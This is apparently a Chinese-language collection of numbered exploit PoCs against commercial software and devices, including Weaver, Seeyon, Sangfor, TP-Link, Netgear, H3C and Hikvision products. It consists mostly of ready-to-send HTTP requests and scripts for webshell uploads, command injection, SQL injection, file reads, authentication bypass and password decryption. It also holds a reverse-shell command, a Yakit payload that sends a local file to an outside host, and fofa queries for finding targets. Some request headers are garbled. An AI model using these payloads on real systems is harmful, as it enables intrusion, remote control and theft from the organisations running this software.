POST /succezbi/sz/commons/form/file/uploadChunkFile:guid=../tomcat/webapps/ROOT/&chunk=ss.jsp HTTP/1.1
Host: 10.168.4.99:808
Content-Length: 49564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8GeAY18LCxR7XnVp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) Applewebkit/537.36 (KHTML, likeGecko) Chrome/106.9.. Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip， deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie: JSESSIONID=7351EFC189410384FF702A41106FF4A2
Connection: close

-----WebKitFormBoundarv8GeAY18LCXR7XnVPContent-Disposition: 
form-data; name="file"; filename="ww'
Content-Type: image/jpeg

webshell
-----WebKitFormBoundarv8GeAY18LCXR7XnVP
Content-Disposition: form-data; name="tijiao'

confirm
------WebKitFormBoundarv8GeAY18LCXR7XnVP--

webshell：http://xxx/ss.jsp

115、奇安信 qax vpn pwn溢出 rce（疑似投毒）

某信vpn pwn溢出，可执行命令反弹shell，不过设备底层的系统阉割掉了很多东西，怎么后利用大家自己研究吧。
远古版本的3某0界面的vpn只有很小一部分能打，q某x界面的大多数都能打（23年3月发布的这款之前）

一键反弹：

java -jar QaxVpnPwn.jar -t vpn网关地址 -p vpn网关端口 -re_t 反弹监听ip -re_p 反弹监听端口
example：
java -jar QaxVpnPwn.jar -t vpn.xxx.com -p 443 -re_t x.x.x.x -re_p xxx

以上漏洞来源：https://github.com/CyberSnakeSec/xaq-vpn-pwn
此项目作者也做了解释，也有其他师傅分析为投毒，是否投毒请自行判断

116、安恒明御安全网关rce

GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"<%3fphp+eval(\$_POST[\"a\"]);?>"+>+.xxx.php HTTP/1.1
Host: xxx
Cookie: USGSESSID=495b895ddd42b82cd89a29f241825081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 16 0) Applewebkit/537.36 (KHTML likeGecko) Chrome/78.0.3994.108 Safari/537.36
Sec-Fetch-User: ?1
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip， deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

shell: http://xxx/webui/.xxx.php

117、大华车载系统任意文件上传漏洞POC

POST /vehicleServer/carDev/icon/import/1?iconType=1 HTTP/1.1 
Host: ip:port
Accept: */*
Accept-Encoding: gzip， deflate， br
Content-Length: 872
Content-Type: multipart/form-data; boundary=----63766573e5aegeegaa8cesaea4 
User-Agent: Mozilla/5.0 (Windows NT 6.2: Win64: X64) Applewebkit/537.36 (KHTML, like Gecko) QtwebEngine/5.9.1 Chrome/56.0.2924.122 Safari/537.36

------63766573e5aegeegaa8cesaea4
Content-Disposition: form-data; name="file"; filename="test.jsp" 
Content-ype: image/png

GIF89a
<%isp 马%> 
------63766573e5ae9ee9aa8ce5aea4

马路径：GET /vehicleServer/carDev/icon/getIconList?nowTime=164605907220

118、禅道18.0~18.3 backstage命令注入

POST /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json，text/javascript，*/*; g=0.01
Accept-Language: zh-CN,zh;g=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip， deflate
Referer: http://127.0.0.1/zentaopms/www/index.php?m=zahost&f=create
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-with: XMLHttpRequest
Content-Length: 134
Origin: http://127.0.0.1
Connection: close
Cookie: zentaosid=dhjpu2i3g5116j5eba85agl27f; lang=zh-cn; device=desktop; theme=default;tab=qa; windowwidth=1632; windowHeight=783
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

vsoft=kvm&hostType=physical&name=penson&extranet=127.0.0,1%7Ccalc.exe&cpuCores=2&memory=16&diskSize=16&desc=&uid=640be59da4851&type=za

119、深信服应用交付系统RCE

语法：fid="iaytNA57019/kADk8Nev7g=="

POST /rep/login HTTP/1.1
Host: 1.1.1.1:85
Cookie: UEDC_LOGIN_POLICY_VALUE=checked
Content-Length: 124
Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://1.1.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://1.1.1.1:85/rep/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

clsMode=cls_mode_login%0Awhoami%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

POST /rep/login HTTP/1.1
Host:
Cookie:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0 Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8
Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache14
Te: trailers
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 126

clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

120、ZKTeco BioTime存在密码重置漏洞(CVE-2023-38949)

暂无

121、Stakater Forecastle 存在路径遍历漏洞 (CVE-2023-40297)

暂无

122、锐捷数据库审计系统存在后台 downloadTcpDumpFiles 文件读取漏洞

暂无

123、泛微 E-Moblle 敏感信息泄露

暂无

124、亿赛通电子文档安全管理系统远程命令执行漏洞

0x01 影响版本

亿赛通电子文档安全管理系统

0x02 网络测绘

fofa: app="亿赛通-电子文档安全管理系统"
hunter: web.title="电子文档安全管理系统"

0x03 漏洞复现

POST /solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1383.67 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 
Content-Length: 78

<?xml version="1.0" encoding="UTF-8"?>
    <RDF>
        <item/>
    </RDF>

125、TP-LINKTL-WR940N命令执行漏洞（CVE-2023-33538)

The PoC of TL-WR940NV4 is as follows:

GET /JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm?ssid1=TP-LINK_000012||reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=6&chanWidth=2&channel=15&rate=83&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TL-WR940NV2 is as follows:

GET /UJOGPJXBZUFEBUDB/userRpm/WlanNetworkRpm.htm?ssid1=;reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=5&chanWidth=1&channel=9&rate=59&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

The PoC of TL-WR841N V8 is as follows:

GET /userRpm/WlanNetworkRpm.htm?ssid1=a;reboot&ssid2=TP-LINK_000000_2&ssid3=TP-LINK_000000_3&ssid4=TP-LINK_000000_4&region=101&band=0&mode=3&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=
Upgrade-Insecure-Requests: 1

The PoC of TL-WR841N V10 is as follows:

GET /GWIDNCGBKQNKXJXB/userRpm/WlanNetworkRpm.htm?ssid1=a;reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://127.0.0.1:8081/GWIDNCGBKQNKXJXB/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1

126、Netgear D/R系列路由命令执行漏洞（CVE-2023-33533/CVE-2023-33532)

# Exploit Title: Router Netgear-R6250 - RCE
# Date: 12-5-2023
# Exploit Author: d2y6p
# Firmware: R6250V1.0.4.48
# CVE: N/A

#!/usr/bin/python3

import requests
import base64
import re

target = input("Enter Target IP : ")
username = input("Enter Target username : ")
passwd = input("Enter Target passwd : ")
cmd = input("Enter you want cmd : ")

username_passwd = username + ":" + passwd
auth = base64.b64encode(username_passwd.encode('utf-8')).decode("utf-8")
print(auth)

#request 1 : get XSRF_TOKEN
burp0_url = "http://" + target + ":80/IPV6_fixed.htm"
burp0_cookies = {"XSRF_TOKEN": "2267229739"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic 123123", "Connection": "close", "Referer": "http://" + target + "/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}
response1 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

if 'Set-Cookie' in response1.headers:
set_cookie = response1.headers['Set-Cookie']
print(f'The Set-Cookie value is: {set_cookie}')
else:
print('No Set-Cookie field in the response header')

pattern = r'(?<=\=)([^;]*)'
XSRF_TOKEN = re.findall(pattern, set_cookie)[0]
print(XSRF_TOKEN)

#request 2 : get csrf_id
burp0_cookies = {"XSRF_TOKEN": XSRF_TOKEN}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic " + auth, "Connection": "close", "Referer": "http://" + target + "/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}
response2 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
pattern = r'cgi\?id=([\w\d]+)'
csrf_id = re.search(pattern, response2.text).group(1)
print("csrf_id is :" + csrf_id)

#request 3 : send payload
burp0_url = "http://" + target + ":80/ipv6_fix.cgi?id=" + csrf_id
burp0_data = {"apply": "Apply", "login_type": "Fixed", "IPv6WanAddr1": "2001", "IPv6WanAddr2": "3CA2", "IPv6WanAddr3": "010F", "IPv6WanAddr4": "00A1", "IPv6WanAddr5": "121C", "IPv6WanAddr6": "0000", "IPv6WanAddr7": "0000", "IPv6WanAddr8": "0010", "ProfixWanLength": "6", "IPv6Gateway1": "2001", "IPv6Gateway2": "3CA2", "IPv6Gateway3": "010F", "IPv6Gateway4": "00A1", "IPv6Gateway5": "121C", "IPv6Gateway6": "0000", "IPv6Gateway7": "0000", "IPv6Gateway8": "0002", "DAddr1": '', "DAddr2": '', "DAddr3": '', "DAddr4": '', "DAddr5": '', "DAddr6": '', "DAddr7": '', "DAddr8": '', "PDAddr1": '', "PDAddr2": '', "PDAddr3": '', "PDAddr4": '', "PDAddr5": '', "PDAddr6": '', "PDAddr7": '', "PDAddr8": '', "IpAssign": "auto", "IPv6LanAddr1": "3113", "IPv6LanAddr2": "3CA2", "IPv6LanAddr3": "010F", "IPv6LanAddr4": "001A", "IPv6LanAddr5": "121B", "IPv6LanAddr6": "0000", "IPv6LanAddr7": "0000", "IPv6LanAddr8": "0001", "ProfixLanLength": "6", "ipv6_wan_ipaddr": "$(" + cmd + ")", "ipv6_lan_ipaddr": "3113:3CA2:010F:001A:121B:0000:0000:0001", "ipv6_wan_length": "6", "ipv6_lan_length": "6", "ipv6_pri_dns": ":::::::", "ipv6_sec_dns": ":::::::", "ipv6_wan_gateway": "aaa", "ipv6_enable_dhcp": '', "ipv6_proto": "fixed"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/plain", "Origin": "http://" + target, "Authorization": "Basic " + auth, "Connection": "close", "Referer": "http://" + target + "/VLAN_IPTV.htm", "Upgrade-Insecure-Requests": "1"}

response3 = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

print('end!!!')

127、泛微oa代码执行

描述和影响范围
Weaver E-Office9版本存在代码问题漏洞，该漏洞源于文件/inc/jquery/uploadify/uploadify.php存在问题，对参数Filedata的操作会导致不受限制的上传。
Weaver E-Office9.0

POC or EXP

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: 192.168.232.137:8082
User-Agent: test
Connection: close
Content-Length: 493
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--

128、冰蝎客户端RCE与任意文件读取漏洞

https://mp.weixin.qq.com/s/vuDgJZnwktM4EEAwfH6UEA

129、泛微9 sql注入

(1)/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1  //参数RUN_ID
(2)/E-mobile/flowdo_page.php?diff=delete&flowid=1  //参数flowid
(3)/E-mobile/flowsorce_page.php?flowid=2
(4)/E-mobile/flownext_page.php?diff=candeal&detailid=2
(5)/E-mobile/flowimage_page.php?FLOW_ID=2
(6)/E-mobile/flowform_page.php?FLOW_ID=2
(7)/E-mobile/diaryother_page.php?searchword=23
(8)/E-mobile/create/ajax_do.php?diff=word&sortid=1       //参数sortid
(9)/E-mobile/create/ajax_do.php?diff=word&idstr=2       //参数idstr
(10)/E-mobile/flow/freeflowimg.php?RUN_ID=1             
(11)/E-mobile/create/ajax_do.php?diff=addr&sortid=1     //参数sortid
(12)/E-mobile/create/ajax_do.php?diff=addr&userdept=1  //参数userdept
(13)/E-mobile/create/ajax_do.php?diff=addr&userpriv=1 //参数userpriv
(14)/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1  //参数idstr
(15)/E-mobile/flow/flowhave_page.php?detailid=2,3
(16)/E-mobile/flow/flowtype_free.php?flowid=1
(17)/E-mobile/flow/flowtype_free.php?runid=1
(18)/E-mobile/flow/flowtype_other.php?flowid=1
(19)/E-mobile/flow/flowtype_other.php?runid=1
(20)/E-mobile/flow/freeflowimage_page.php?fromid=2
(21)/E-mobile/flow/freeflowimage_page.php?diff=new&runid=2  //参数runid

130、HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞

<?php
          $file_name = $_GET['fileName'];
          $file_path = '../../../log/'.$file_name;
          $fp = fopen($file_path, "r");
          while($line = fgets($fp)){
            $line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));
            echo '<span style="font-size:16px">'.$line.'</span>';
          }
          fclose($fp);
?>

/serverLog/showFile.php?fileName=../web/html/main.php

131、yakit任意文件读取

详情可参考原文 有截图复现
原文链接：https://mp.weixin.qq.com/s/IQekVs-UU2Slh6V_frpaug
前言：
yakit是近年新兴的一个BurpSuite平替工具，和burp的区别就在于数据包放过去不用配置ip端口协议这些，但是yakit跑起来感觉卡卡的，远不如burp那么流畅，近期yakit爆出了一个任意文件读取漏洞，此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件
触发版本：
引擎版本< Yaklang 1.2.4-sp2
漏洞条件：
使用yakit的MITM代理并且启用任意插件

Pyload:
<script>
  const xhr = new XMLHttpRequest();
  xhr.open("POST", "<http://yakit.com/filesubmit>");
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  xhr.send(`file={{base64enc(file(C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts))}}`);
</script>

监听脚本
#! /bin/python3
import socket

# 监听地址和端口

host = '0.0.0.0'
port = 23800

# 创建socket服务器

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 绑定并监听端口

server.bind((host, port))
server.listen()

# 接收连接并监听请求

print("Listening...")
while True:
    # 接收客户端连接请求
    client, address = server.accept()
    print(f"Connected by {address}")

    # 读取客户端请求数据
    request = ''
    while True:
        input_data = client.recv(1024).decode('utf-8')
        request += input_data
        if len(input_data) < 1024:
            break

    # 提取请求头部
    headers = request.split('\\n')
    print("Received headers:")
    for header in headers:
        print(header)

    # 关闭客户端连接
    client.close()

复现开始：创建一个html页面并插入payload

启用MITM代理，不启用插件进行访问：
<https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wMXX7dh9j86aZ7JA0WMoxwHSDdAwnMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1>
启用MITM代理并启用插件进行访问：
<https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wM1RvwO5nnYhpX3aKZeCDdziaCEcOSDfbIcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1>

原理：yakit默认不会对经过MITM代理的流量中的fuzztag进行解析，但是经过插件时会被解析，所以这也是利用限制。

132、百卓Smart S45F命令执行

构造URL ：/importhtml.php?type=exporthtmlmail&amp;tab=tb_RCtrlLog&amp;sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn

构造poc：
POST /app/sys1.php HTTP/1.1
Host: 60.22.74.195:8443
Cookie:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests:
1Sec-Fetch-Dest:
documentSec-Fetch-Mode:
navigateSec-Fetch-Site:
noneSec-Fetch-User: ?1Te: trailers
Connection: close
Content-Type: application/x-www-form-url
encodedContent-Length: 6

cmd=id

133、辰信景云终端安全管理系统 login SQL注入漏洞

POST /api/user/login

captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

134、泛微 E-Cology 某版本 SQL注入漏洞 POC

POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close
Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1
page=
httpSessionId=
scriptSessionId=
c0-scriptName=DocDwrUtil
c0-methodName=ifNewsCheckOutByCurrentUser
c0-id=0
c0-param0=string:1 AND 1=1
c0-param1=string:1
batchId=0

135、泛微Ecology OA 前台任意SQL语句执行

Condition: body="/js/ecology8" || body="wui/common/css/w7OVFont_wev8.css" || (body="weaver"
    &amp;&amp; body="ecology") || (header="ecology_JSessionId" &amp;&amp; body="login/Login.jsp")
    || body="/wui/index.html" || body="jquery_wev8"

relative: req0
  session: false
  requests:
  - method: GET
    timeout: 10
    path: /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20password%20as%20id%20from%20HrmResourceManager
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
        Gecko) Chrome/62.0.2426.8 Safari/537.36
    follow_redirects: true
    matches: (code.eq("200") &amp;&amp; body.regex("[0-9A-F]{32}"))

136、致远oa 任意文件上传

POST
/seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/de.jsp&fileId=2
 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: */*
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=5C25EFEF65A2B6A4C12848B88EA60639; loginPageURL=
Content-Type: multipart/form-data;
boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Connection: close
Content-Length: 208

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel

<% out.println("xxxx");%>
--59229605f98b8cf290a7b8908b34616b--

137、H3C多系列路由器存在前台RCE漏洞

h3c多个系列路由器存在安全漏洞

fofa：app="H3C-Ent-Router"

POC参考如下：

POST /goform/aspForm HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 68
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://{{Hostname}}/userLogin.asp

CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/test);
访问http://xxx/test

138、金蝶 EAS 系统存在目录遍历漏洞

漏洞描述
金蝶EAS Cloud基于云计算技术，为大型集团企业提供一体化、智能化的业务解决方案。 在EAS发现了一处目录遍历漏洞，可以直接遍历指定目录的内容。 经过分析与研判，该漏洞利用难度低，能够获取敏感信息，建议尽快修复。

详情信息：
/appmonitor/protected/selector/server_file/files?folder=C:%5C%5C&suffix=

139、帆软报表 V8 get_geo_json 任意文件读取漏洞

WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
获得账号密码后进行解密，解密脚本如下
解密脚本
cipher = 'XXXXXXXXXXX' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""
cipher = cipher[3:]
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)

140、WEBMAIL任意用户登录漏洞

/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin
回显是下面这个
"errorMsg":"64d880ce7b737912ccb1"
使用回显的 errormsg 作为密码，用户名为 admin 即可登录
使用手机验证码登录的打不了
显示 IP 受限的话添加头 X-Forwarded-For: 127.0.0.1 即可
如果有回显但登录失败的话，使用
/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin@+证书 or 根域名获取 errormsg 然后在登录就行了

141、联想网盘任意文件上传漏洞

POST /write?neid=1&hash=../../../../../../../dragonball/srv/tomcat/webapps/stream_server/ttt.txt&status=1 HTTP/1.1
Host:xxxx
Cache-Control:max-age=0
Sec-Ch-Ua:"Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile:?0
Sec-Ch-Ua-Platform:"Windows"
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:none
Sec-Fetch-Mode:navigate
Sec-Fetch-User:?1
Sec-Fetch-Dest:document
Accept-Language:zh-CN,zh;q=0.9
Connection:close
